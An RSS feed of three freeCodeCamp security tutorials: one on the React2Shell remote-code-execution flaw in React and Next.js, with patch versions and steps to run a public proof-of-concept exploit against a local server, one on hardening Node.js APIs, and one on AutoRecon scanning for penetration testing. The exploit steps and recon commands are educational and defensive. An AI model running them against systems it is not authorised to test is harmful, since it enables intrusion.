<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ hacking - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ hacking - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Thu, 07 May 2026 09:27:28 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/hacking/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ React’s Critical "React2Shell" Vulnerability — What You Should Know, and How to Upgrade Your App ]]>
                </title>
                <description>
                    <![CDATA[ Web development is always evolving, and sometimes those changes happen a bit under the hood. One such change involved the shift to React Server Components (RSC). If you’re a NextJS or React developer, especially using the App Router, understanding th... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/reacts-critical-react2shell-vulnerability-what-you-should-know-and-how-to-upgrade-your-app/</link>
                <guid isPermaLink="false">6939b6ee10076c81dd6c3f49</guid>
                
                    <category>
                        <![CDATA[ React2Shell ]]>
                    </category>
                
                    <category>
                        <![CDATA[ React ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Next.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Arunachalam B ]]>
                </dc:creator>
                <pubDate>Wed, 10 Dec 2025 18:07:42 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765328805925/a9c016a1-90a9-4123-bbb0-17c7d46da035.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Web development is always evolving, and sometimes those changes happen a bit under the hood. One such change involved the shift to React Server Components (RSC). If you’re a NextJS or React developer, especially using the App Router, understanding the new security alert is really important for keeping your apps safe and secure.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-what-is-react2shell">What is "React2Shell"?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-why-is-this-happening-now">Why is this Happening Now?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-should-you-worry-about-this-change">Should You Worry About this Change?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-is-this-mandatory">Is this Mandatory?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-bad-can-it-get-the-extent-of-exploitation">How Bad Can It Get? The Extent of Exploitation</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-would-be-the-code-change-for-this">What Would be the Code Change for This?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-advanced-verify-with-the-original-exploit-poc">Advanced: Verify with the Original Exploit (PoC)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-emergency-response-what-if-you-were-already-compromised">Emergency Response: What If You Were Already Compromised?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-what-is-react2shell">What is "React2Shell"?</h2>
<p>Think of your server receiving data like a mailroom receiving packages.</p>
<p>Usually, a mailroom checks if a package is safe before opening it. But in vulnerable versions of React and NextJS, the "Flight" protocol (used to communicate between the server and client) acts like a mailroom that blindly opens every package and follows any instructions inside immediately.</p>
<p>This vulnerability (CVE-2025-55182) allows an attacker to send a specifically crafted "package" (HTTP request) that forces your server to execute malicious code – like stealing passwords or installing viruses –without even logging in.</p>
<h2 id="heading-why-is-this-happening-now">Why is this Happening Now?</h2>
<p>It's all about how modern frameworks handle data serialization. There are a few reasons why this was just discovered.</p>
<p>First, React has complex serialization. To make Server Components seamless, React sends complex data structures back and forth.</p>
<p>Second, it has the "Flight" protocol. The vulnerability was found in how this specific protocol de-serializes (unpacks) data. It was too trusting of the input it received from the client side.</p>
<h2 id="heading-should-you-worry-about-this-change">Should You Worry About this Change?</h2>
<p>You need to pay attention if your app qualifies for any of the below:</p>
<ul>
<li><p><strong>You are using NextJS App Router:</strong> This is the default in newer NextJS versions (v13+).</p>
</li>
<li><p><strong>You are using React 19:</strong> Specifically versions with Server Components enabled.</p>
</li>
<li><p><strong>You use Server Actions:</strong> If your app takes user input and processes it on the server using React's server actions.</p>
</li>
</ul>
<h2 id="heading-is-this-mandatory">Is this Mandatory?</h2>
<p><strong>Yes.</strong> This is a critical security update. If your app qualifies in any of the above scenarios, you need to act immediately. Because, this vulnerability is being exploited right now.</p>
<h2 id="heading-how-bad-can-it-get-the-extent-of-exploitation">How Bad Can It Get? The Extent of Exploitation</h2>
<p>You might be thinking, "My site is just a simple content wrapper, surely I'm not a target?" Unfortunately, with Remote Code Execution (RCE), the attacker doesn't just "break" your site – they own the server it runs on.</p>
<p>Here is exactly what a hacker can do once they exploit this vulnerability:</p>
<h3 id="heading-total-environment-theft">Total Environment Theft</h3>
<p>The most immediate risk is your <code>.env</code> file. Attackers can execute code to read your environment variables, instantly gaining access to your AWS Secret Keys, Database passwords, Stripe API keys, and OpenAI tokens.</p>
<h3 id="heading-the-shell-access">The "Shell" Access</h3>
<p>As the name "React2Shell" implies, attackers can open a reverse shell. This gives them a command-line interface on your server, allowing them to browse your file system as if they were sitting in front of your computer.</p>
<h3 id="heading-lateral-movement">Lateral Movement</h3>
<p>Once inside your NodeJS server, they are behind your firewall. They can now attack your internal services (like Redis, internal databases, or private micro-services) that are usually blocked from the outside world.</p>
<h3 id="heading-supply-chain-poisoning">Supply Chain Poisoning</h3>
<p>If your build server is vulnerable, an attacker could potentially inject malicious code into your deployment pipeline, affecting every user who visits your site in the future.</p>
<h3 id="heading-botnet-recruitment">Botnet Recruitment</h3>
<p>Hackers often automate these attacks to install crypto-miners, using your server's CPU (which you pay for!) to mine digital currency for them, often crashing your application in the process.</p>
<h2 id="heading-what-would-be-the-code-change-for-this">What Would be the Code Change for This?</h2>
<p>You don’t need to rewrite your application code, but you must update your dependencies in your release line.</p>
<p>The vulnerability is fully resolved in the following patched NextJS releases:</p>
<ul>
<li><p>15.0.5</p>
</li>
<li><p>15.1.9</p>
</li>
<li><p>15.2.6</p>
</li>
<li><p>15.3.6</p>
</li>
<li><p>15.4.8</p>
</li>
<li><p>15.5.7</p>
</li>
<li><p>16.0.7</p>
</li>
</ul>
<p>Patched canary releases for NextJS 15 and 16:</p>
<ul>
<li><p>15.6.0-canary.58 (for 15.x canary releases)</p>
</li>
<li><p>16.1.0-canary.12 (for 16.x canary releases)</p>
</li>
</ul>
<p>These versions include the hardened React Server Components implementation.</p>
<p>Here are the patched versions for React JS:</p>
<ul>
<li><p>19.0.1</p>
</li>
<li><p>19.1.2</p>
</li>
<li><p>19.2.1</p>
</li>
</ul>
<p>Frameworks and bundlers using the aforementioned packages should install the latest versions provided by their respective maintainers.</p>
<p>Alternatively, you can run <code>npx fix-react2shell-next</code> in your NextJS project to launch an interactive tool which can check versions and perform deterministic version bumps per the recommended versions above. See the <a target="_blank" href="https://github.com/vercel-labs/fix-react2shell-next">GitHub repository</a> for full details.</p>
<p><strong>There is no workaround other than upgrading to a patched version.</strong></p>
<p>It’s highly recommended to rotate all your application secrets, once you have patched your version and re-deployed your application.</p>
<h2 id="heading-advanced-verify-with-the-original-exploit-poc">Advanced: Verify with the Original Exploit (PoC)</h2>
<p>If you want to be 100% sure your patch is working, or if you want to understand how the attack actually works, you can use the original Proof of Concept (PoC) created by the security researcher (Lachlan Davidson) who found the bug.</p>
<p><strong>Repository:</strong> <a target="_blank" href="https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc">React2Shell-CVE-2025-55182-original-poc</a></p>
<p>Lachlan provided three variations of the exploit script. The most important one for testing is <code>01-submitted-poc.js</code>, which is the exact, simplified version submitted to Meta for the bug bounty.</p>
<h3 id="heading-how-the-exploit-works">How the Exploit Works</h3>
<p>According to the repository, the attack works by tricking the parser:</p>
<ol>
<li><p>The attacker sends a payload using <code>$@x</code> to access a specific data <code>Chunk</code>.</p>
</li>
<li><p>They "plant" a <code>.then</code> function on a fake object.</p>
</li>
<li><p>The JavaScript runtime thinks it is handling a Promise and tries to "unravel" it.</p>
</li>
<li><p>This allows the attacker to re-enter the parser with a malicious fake chunk, giving them access to internal server gadgets (like <code>_response</code>) to execute code (RCE).</p>
</li>
</ol>
<h3 id="heading-steps-to-recreate-the-issue">Steps to Recreate the Issue</h3>
<p><strong>⚠️ WARNING:</strong> Only run this against a local development server (<a target="_blank" href="http://localhost"><code>localhost</code></a>) that you own. Never run this against production servers or public websites.</p>
<p><strong>Note:</strong> I forked Lachlan’s repo and made minor changes to make it easy for you to run the script.</p>
<h4 id="heading-step-1-clone-the-repository">Step 1: Clone the Repository</h4>
<p>Run the following commands to clone the repository, navigate into the project, and install dependencies:</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/arunachalam-b/React2Shell-CVE-2025-55182-original-poc.git
<span class="hljs-built_in">cd</span> React2Shell-CVE-2025-55182-original-poc
npm i
</code></pre>
<h4 id="heading-step-2-run-a-vulnerable-local-server">Step 2: Run a Vulnerable Local Server</h4>
<p>Start your NextJS application locally (ensure it’s running a vulnerable version, for example NextJS 15.0.0, for the test to succeed).</p>
<pre><code class="lang-bash">npm run dev
<span class="hljs-comment"># usually runs on http://localhost:3000</span>
</code></pre>
<h4 id="heading-step-3-execute-the-test">Step 3: Execute the Test</h4>
<p>You will need to modify the script or use a tool like <code>curl</code> to send the payload structure found in <code>01-submitted-poc.js</code> to your server's endpoint (usually a Server Action endpoint). Or simply run the following command if your app is accessible at <code>http://localhost:3000</code>:</p>
<pre><code class="lang-bash">node 01-submitted-poc.js
</code></pre>
<p>If the exploit succeeds (on the vulnerable version), the console will log the execution of the code (RCE). If the exploit fails (after you patch), the server will either reject the request or error out safely.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298324009/7a8158bb-30cc-4604-9591-4503a4c8d655.png" alt="This response on running the script indicates your server is vulnerable" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>You can also confirm if your infected web server prints <code>50</code> in the console. Because we inject the code to do a calculation (look at <code>_prefix</code> field in the below JSON) that results in <code>50</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298178869/417d5f3c-15d2-4806-854c-f4216d336bd9.png" alt="The payload used to demonstrate this hack" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298285565/38bcbcfa-390f-4198-9db1-218d2ed0dd65.png" alt="The 50 in your NextJS console indicates the hackers code has been executed on your server" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>After you apply the fix, you should see an error while running the script. In this case, as I’m using NextJS v15.1, the fix is upgrading the <code>next</code> package to version <code>15.1.9</code>. Here are the screenshots after upgrading the package and running the script.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298558607/36103fd0-2a23-44f5-bff6-f979255a9765.png" alt="Response on running script after applying the fix" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765298580698/53bcd836-013a-4291-98df-2d9188512a2c.png" alt="The console does not print 50 while running same script which indicates the hackers code is not executed on your server after applying the fix" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h4 id="heading-step-4-verification">Step 4: Verification</h4>
<p>Once you have confirmed the exploit works on the old version, update your packages (as shown in the section above) and run the script again. It should no longer trigger the code execution.</p>
<h2 id="heading-emergency-response-what-if-you-were-already-compromised">Emergency Response: What If You Were Already Compromised?</h2>
<p>If you suspect your server was exposed to the internet with a vulnerable version, assume the worst. A hacker may have already stolen your keys or left a "backdoor" to return later. Patching the code alone is NOT enough in this case.</p>
<p>Follow this <strong>"Nuke and Pave"</strong> protocol immediately:</p>
<h3 id="heading-step-1-isolate-and-shutdown">Step 1: Isolate and Shutdown</h3>
<p>Take the compromised server offline immediately. Do not try to "fix" it while it is running.</p>
<h3 id="heading-step-2-rotate-all-secrets-crucial-step">Step 2: Rotate ALL Secrets (Crucial Step)</h3>
<p>Assume every secret in your <code>.env</code> file is in the hands of a hacker. You must generate new ones:</p>
<ul>
<li><p>Change the password for your database users.</p>
</li>
<li><p>Rotate AWS Access Keys, Google Cloud Service Account keys, and so on.</p>
</li>
<li><p>Roll your Stripe/PayPal/Razorpay API keys.</p>
</li>
<li><p>Rotate your <code>NEXTAUTH_SECRET</code> or any JWT signing keys.</p>
</li>
</ul>
<h3 id="heading-step-3-do-not-clean-rebuild">Step 3: Do Not "Clean" — Rebuild</h3>
<p>Do not attempt to find and delete malware files on the server. Hackers are good at hiding.</p>
<ul>
<li><p>Destroy the existing container, droplet, or EC2 instance entirely.</p>
</li>
<li><p>Build a fresh instance from your source code (after applying the patch).</p>
</li>
</ul>
<h3 id="heading-step-4-audit-your-logs">Step 4: Audit Your Logs</h3>
<p>Look at your database and cloud provider logs. Did anyone download your entire user database? Did anyone spin up expensive GPU instances on your AWS account? Check for unusual activity that occurred before you patched.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In this article, you learned about the "React2Shell" vulnerability, how to verify it using the original developer's tools, and how to upgrade your app to secure your Server Components. I hope you have a clear idea about why this update is urgent. By being proactive now, you can avoid a catastrophic data breach.</p>
<p>You can follow my <a target="_blank" href="https://x.com/AI_Techie_Arun">Twitter/X account</a> to receive the top AI news everyday. If you wish to learn more about cybersecurity, <a target="_blank" href="https://5minslearn.gogosoon.com/?ref=react2shell-vulnerability">subscribe to my email newsletter</a> and follow me on social media.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Harden Your Node.js APIs – Security Best Practices ]]>
                </title>
                <description>
                    <![CDATA[ If you’ve built an API with Node.js, chances are you’ve thought about security – at least a little. Maybe you’ve heard about SQL injection, brute force attacks, or data leaks. But here’s the thing: it’s not just about big hacks. Even small gaps in yo... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-harden-your-nodejs-apis-security-best-practices/</link>
                <guid isPermaLink="false">680bb2b3917896a550779bcb</guid>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ injection attacks ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 25 Apr 2025 16:05:07 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745597082780/c803850d-f482-4fcc-a744-4de8fd8a02d8.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you’ve built an API with Node.js, chances are you’ve thought about security – at least a little.</p>
<p>Maybe you’ve heard about SQL injection, brute force attacks, or data leaks.</p>
<p>But here’s the thing: it’s not just about big hacks. Even small gaps in your API can lead to big problems. And no one wants to get that “your data’s been exposed” message.</p>
<p>In this article, I’ll walk you through seven ways to harden your Node.js API.</p>
<p>These are practical tips you can apply right away. I’ll keep the code examples simple and the language even simpler. Let’s get into it.</p>
<h2 id="heading-1-use-environment-variables"><strong>1. Use Environment Variables</strong></h2>
<p>Storing sensitive data like database credentials, API keys, or JWT secrets directly in your code is risky. If your code ends up in the wrong hands, so does everything else.</p>
<p>Instead, store this data in a <code>.env</code> file and use the <code>dotenv</code> package to access it:</p>
<pre><code class="lang-plaintext">require('dotenv').config();
</code></pre>
<pre><code class="lang-plaintext">const dbPassword = process.env.DB_PASSWORD;
</code></pre>
<p>Make sure you <strong>never</strong> commit your <code>.env</code> file. Add it to your <code>.gitignore</code> file to keep it private.</p>
<h2 id="heading-2-validate-all-input"><strong>2. Validate All Input</strong></h2>
<p>Attackers love user input.</p>
<p>If you don’t check what comes into your API, they’ll sneak in commands, inject code, or crash your app.</p>
<p>The best way to stop them is by validating every piece of input. Use a package like <code>Joi</code> or <code>zod</code> to define what your API expects:</p>
<pre><code class="lang-plaintext">const Joi = require('joi');

const schema = Joi.object({
  username: Joi.string().alphanum().min(3).max(30).required(),
  password: Joi.string().pattern(new RegExp('^[a-zA-Z0-9]{6,30}$')).required()
});
const { error } = schema.validate(req.body);
if (error) {
  return res.status(400).send(error.details[0].message);
}
</code></pre>
<p>In the above code, we have defined the exact data type the schema expects. This way, wrong data gets blocked before it reaches your logic or database.</p>
<h2 id="heading-3-rate-limit-your-endpoints"><strong>3. Rate Limit Your Endpoints</strong></h2>
<p>Bots and brute force attacks work by flooding your server with requests. Once your server reaches it limit, your API will crash.</p>
<p>Set a limit on how often a user can hit your API using middleware like <code>express-rate-limit</code> Here is an example.</p>
<pre><code class="lang-plaintext">const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100 // limit each IP to 100 requests per windowMs
});
app.use('/api/', limiter);
</code></pre>
<p>The above code restricts API requests coming from an IP address to 100 per 15 minutes. This is like putting a speed bump in front of a runaway car.</p>
<h2 id="heading-4-always-use-https"><strong>4. Always Use HTTPS</strong></h2>
<p>HTTP sends data in plain text. That means anyone between your server and the user can read it. HTTPS encrypts everything. It’s not optional anymore.</p>
<p>If you’re using a platform like Heroku or Vercel, HTTPS is automatic. If you’re self-hosting, you can set it up with services like Let’s Encrypt.</p>
<p>Also, force HTTPS on all incoming traffic. You can use middleware like this:</p>
<pre><code class="lang-plaintext">app.use((req, res, next) =&gt; {
  if (req.headers['x-forwarded-proto'] !== 'https') {
    return res.redirect('https://' + req.headers.host + req.url);
  }
  next();
});
</code></pre>
<p>Encrypt the ride. Always.</p>
<h2 id="heading-5-use-helmet-to-secure-http-headers"><strong>5. Use Helmet to Secure HTTP Headers</strong></h2>
<p>HTTP headers are key-value pairs sent in requests and responses over the web. They give extra information about what’s being sent – like who’s sending it, what type it is, how it should be handled, and more.</p>
<p>HTTP headers are small, but they can be powerful tools to protect your app. <code>Helmet</code> is a Node.js middleware that sets secure headers for you.</p>
<pre><code class="lang-plaintext">const helmet = require('helmet');
app.use(helmet());
</code></pre>
<p>Helmet helps prevent attacks like cross-site scripting (XSS), clickjacking, and others just by setting the right headers.</p>
<p>One line of code, a big step up in security.</p>
<h2 id="heading-6-sanitize-data-to-prevent-injection-attacks"><strong>6. Sanitize Data to Prevent Injection Attacks</strong></h2>
<p>Injection attacks happen when you blindly trust input and plug it into a command or query.</p>
<p>For example, an attacker might submit a piece of text that turns into a command in your database.</p>
<p>You should sanitize data before it gets to any sensitive function. Libraries like <code>express-mongo-sanitize</code> or <code>xss-clean</code> help clean up malicious input.</p>
<pre><code class="lang-plaintext">const mongoSanitize = require('express-mongo-sanitize');
const xss = require('xss-clean');

app.use(mongoSanitize());
app.use(xss());
</code></pre>
<p>This strips out dangerous characters and scripts that could do real damage.</p>
<h2 id="heading-7-use-strong-authentication-and-authorisation"><strong>7. Use Strong Authentication and Authorisation</strong></h2>
<p>Authentication is about knowing who the user is, and authorisation is about what they can do. You need both, and you need them to be strong.</p>
<p>Use JWT (JSON Web Tokens) or sessions to manage logged-in users. Here’s a quick JWT example:</p>
<pre><code class="lang-plaintext">const jwt = require('jsonwebtoken');

const token = jwt.sign({ id: user._id }, process.env.JWT_SECRET, {
  expiresIn: '1h'
});
</code></pre>
<p>Always verify the token before letting a user access protected routes:</p>
<pre><code class="lang-plaintext">const decoded = jwt.verify(token, process.env.JWT_SECRET);
</code></pre>
<p>And don’t forget roles. A user who can view data shouldn’t be able to delete it unless they’re supposed to.</p>
<h2 id="heading-final-thoughts"><strong>Final Thoughts</strong></h2>
<p>Security isn’t just a feature – it’s a habit. You can’t do everything all at once, but you can start with a few key changes.</p>
<p>Use environment variables. Validate your inputs. Add rate limiting. Move to HTTPS. Install Helmet. Sanitize everything. Lock down your authentication.</p>
<p>Each of these steps is a small lock on a big door. The more you add, the harder it is for someone to break in. So take a little time now. Your future self and your users will thank you.</p>
<p><em>For more cybersecurity tutorials,</em> <a target="_blank" href="https://newsletter.stealthsecurity.sh/"><strong><em>join our newsletter</em></strong></a><em>. To learn the basics of Offensive Cybersecurity, check out our</em> <a target="_blank" href="https://start.stealthsecurity.sh/"><strong><em>Security Starter Course</em></strong></a><em>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Automate Information Gathering for Ethical Hackers — AutoRecon Tutorial ]]>
                </title>
                <description>
                    <![CDATA[ When you’re doing a penetration test, your first job is to understand the target. Before you touch a single exploit or send a single payload, you need to know what services are running, what ports are open, what technologies are in play, and where th... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-automate-information-gathering-for-ethical-hackers-autorecon-tutorial/</link>
                <guid isPermaLink="false">680a540ef12791f5c752af5e</guid>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information gathering ]]>
                    </category>
                
                    <category>
                        <![CDATA[ nmap ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 24 Apr 2025 15:09:02 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745507318904/b27dc949-dbbb-43c2-85e1-072f91f3971f.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>When you’re doing a penetration test, your first job is to understand the target.</p>
<p>Before you touch a single exploit or send a single payload, you need to know what services are running, what ports are open, what technologies are in play, and where the weak spots might be.</p>
<p>This phase is called <strong>reconnaissance</strong>. It can eat up hours – sometimes even days – if you’re doing it manually.</p>
<p>That’s where <a target="_blank" href="https://github.com/Tib3rius/AutoRecon"><strong>Autorecon</strong></a> comes in.</p>
<h2 id="heading-what-is-autorecon"><strong>What is AutoRecon?</strong></h2>
<p>Autorecon is a tool that automates most of the initial recon work. It’s not a magic box, but it’s close.</p>
<p>Autorecon takes a list of IPs or domain names and runs a series of predefined scans. Then it organizes the output neatly so you don’t waste time parsing through raw Nmap files or rerunning missed commands.</p>
<p>If you’re just starting out with pentesting – whether you’re on your first TryHackMe box or your tenth OSCP practice lab – Autorecon can save you a ton of time. Let’s break down how it works.</p>
<h2 id="heading-what-exactly-does-autorecon-do"><strong>What Exactly Does Autorecon Do?</strong></h2>
<p>At its core, Autorecon does three things:</p>
<ol>
<li><p><strong>Runs Nmap scans</strong> on each target IP or hostname.</p>
</li>
<li><p><strong>Identifies services</strong> running on open ports.</p>
</li>
<li><p><strong>Runs specific enumeration tools</strong> based on those services.</p>
</li>
</ol>
<p>Let’s say you run it against an IP that has ports 22 (SSH), 80 (HTTP), and 139/445 (SMB) open. Autorecon will:</p>
<ul>
<li><p>Use Nmap to check versions and scripts for each port.</p>
</li>
<li><p>Run <code>nikto</code> or <code>gobuster</code> on port 80.</p>
</li>
<li><p>Run <code>enum4linux</code> or <code>smbmap</code> on SMB.</p>
</li>
<li><p>Store everything in organized folders for later review.</p>
</li>
</ul>
<p>That’s what you’d do manually – but faster, cleaner, and without forgetting steps.</p>
<h2 id="heading-how-to-use-autorecon"><strong>How to Use Autorecon</strong></h2>
<p>Let’s walk through a quick example. Assume you have a target at <code>10.129.8.143</code>.</p>
<p>Here’s the basic command:</p>
<pre><code class="lang-plaintext">autorecon 10.129.8.143
</code></pre>
<p>That’s it. No flags, no extra setup. Autorecon takes care of the rest. To understand what is going on behind the scenes, let's add the verbosity <code>-v</code> flag.</p>
<p>Here is a sample result.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745145447038/9132b17d-417e-464b-894e-fb68256e88f8.webp" alt="Autorecon scan result" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Behind the scenes, it creates a folder structure like this:</p>
<pre><code class="lang-plaintext">results/
├── 10.129.8.143/
│   ├── scans/
│   │   ├── nmap/
│   │   └── gobuster/
│   ├── reports/
│   └── notes.txt
</code></pre>
<p>You’ll find full Nmap outputs, service-specific tool results, and even a place to jot down your own observations. All ready to go.</p>
<p>If you want to scan multiple targets, just pass a list:</p>
<pre><code class="lang-plaintext">autorecon targets.txt
</code></pre>
<p>Once Autorecon completes a scan, go to the <code>results/&lt;IP&gt;/scans/</code> folder. Start with the Nmap outputs.</p>
<p>Look for open ports and services:</p>
<ul>
<li><p><strong>Port 80 open?</strong> Check <code>gobuster</code> and <code>nikto</code> outputs in the HTTP folder.</p>
</li>
<li><p><strong>SMB ports open?</strong> Look in the <code>enum4linux</code> and <code>smbmap</code> results to find shared drives or user info.</p>
</li>
<li><p><strong>FTP anonymous login allowed?</strong> Use that access to explore directories.</p>
</li>
</ul>
<p>These findings will give you the next steps – like browsing a web service, crafting a payload, or checking for known exploits.</p>
<h2 id="heading-why-its-a-big-deal-for-beginners"><strong>Why It’s a Big Deal for Beginners</strong></h2>
<p>If you’re new to pentesting, one of the hardest parts is remembering <em>everything</em> you’re supposed to check. You pop open a port, and you think:</p>
<ul>
<li><p>“Wait… Should I run <code>enum4linux</code> on this?”</p>
</li>
<li><p>“What was that flag for aggressive Nmap scanning again?”</p>
</li>
<li><p>“Did I already check this web service with <code>nikto</code>?”</p>
</li>
</ul>
<p>Autorecon takes that mental load off your shoulders. You can focus on analysis, not babysitting scans.</p>
<p>And here’s another benefit: it helps you <strong>learn the process</strong>.</p>
<p>While Autorecon automates recon, it <em>shows you every tool and command</em> it runs. You can open the raw output, read the flags, and understand <em>why</em> it ran those scans.</p>
<p>Example: You’ll see it runs <code>nmap -sV -sC</code> for version detection and scripts. This helps beginners understand which scans map to which services and why they matter.</p>
<p>As it runs, you’ll see all the tools and commands it’s using. You can look at the raw results, see what worked, and gradually build your own workflow.</p>
<h2 id="heading-what-it-scans-by-default"><strong>What It Scans (By Default)</strong></h2>
<p>Here’s a quick overview of what Autorecon runs based on port and service:</p>
<p><strong>Nmap</strong>:</p>
<ul>
<li><p>Quick scan</p>
</li>
<li><p>Full TCP port scan</p>
</li>
<li><p>Service/version detection</p>
</li>
<li><p>NSE scripts</p>
</li>
</ul>
<p><strong>HTTP/HTTPS</strong>:</p>
<ul>
<li><p><code>gobuster</code> (directory brute-forcing)</p>
</li>
<li><p><code>nikto</code> (vulnerability scanner)</p>
</li>
<li><p><code>whatweb</code> (tech detection)</p>
</li>
</ul>
<p><strong>SMB</strong>:</p>
<ul>
<li><p><code>enum4linux-ng</code></p>
</li>
<li><p><code>smbmap</code></p>
</li>
<li><p>Nmap SMB scripts</p>
</li>
</ul>
<p><strong>FTP</strong>:</p>
<ul>
<li><p>Anonymous login check</p>
</li>
<li><p>Nmap FTP scripts</p>
</li>
</ul>
<p><strong>SSH</strong>:</p>
<ul>
<li><p>Banner grab</p>
</li>
<li><p>SSH version check</p>
</li>
</ul>
<p>And that’s just a slice. It handles other services too, like MySQL, SNMP, SMTP, and even RPC.</p>
<h2 id="heading-when-autorecon-is-most-useful"><strong>When Autorecon Is Most Useful</strong></h2>
<p>Autorecon shines in certain situations:</p>
<ul>
<li><p><strong>Training labs</strong>: You get a clear view of your target with minimal setup.</p>
</li>
<li><p><strong>OSCP preparation</strong>: It runs the exact recon tools you’ll need to use on the OSCP exam.</p>
</li>
<li><p><strong>Time-limited pentests</strong>: When you need to hit multiple targets fast, Autorecon keeps your output consistent and saves you from retyping everything.</p>
</li>
</ul>
<p>But it’s not just about speed. It’s about being thorough. With manual scanning, it’s easy to miss something small. Autorecon doesn’t forget.</p>
<h2 id="heading-what-autorecon-doesnt-do"><strong>What Autorecon Doesn’t Do</strong></h2>
<p>Autorecon isn’t an exploit tool. It doesn’t hack anything for you. It doesn’t guess credentials or bypass login pages.</p>
<p>It’s focused purely on reconnaissance. That means you still have to:</p>
<ul>
<li><p>Review scan results</p>
</li>
<li><p>Analyze web services manually (for example, browse the site, test inputs)</p>
</li>
<li><p>Decide which exploits or payloads to run</p>
</li>
</ul>
<p>Also, it can be noisy. If you’re on a real engagement where stealth matters, some scans might raise alarms. In that case, you’d want to run more controlled commands manually.</p>
<h2 id="heading-tips-for-using-autorecon-effectively"><strong>Tips for Using Autorecon Effectively</strong></h2>
<p><strong>Use flags to control scans:</strong><br>To increase verbosity and skip previously scanned hosts:</p>
<pre><code class="lang-plaintext">autorecon -v --only-scans-dir 10.129.8.143
</code></pre>
<p><strong>Customize wordlists for better results:</strong><br>By default, Autorecon uses small wordlists. You can improve this:</p>
<pre><code class="lang-plaintext">autorecon --dirbuster.wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt 10.129.8.143
</code></pre>
<p>This makes directory brute-forcing more effective, especially on web targets.</p>
<p><strong>Don’t skip the output</strong>: Read the Nmap files, check the HTML reports. Tools don’t think like humans. You still have to connect the dots.</p>
<h2 id="heading-final-thoughts"><strong>Final Thoughts</strong></h2>
<p>Autorecon doesn’t replace your skills – but it helps supercharge them. Instead of spending 30 minutes typing out scan commands, you can run one command and start analyzing in minutes. This helps beginners stay focused, and it helps pros save time.</p>
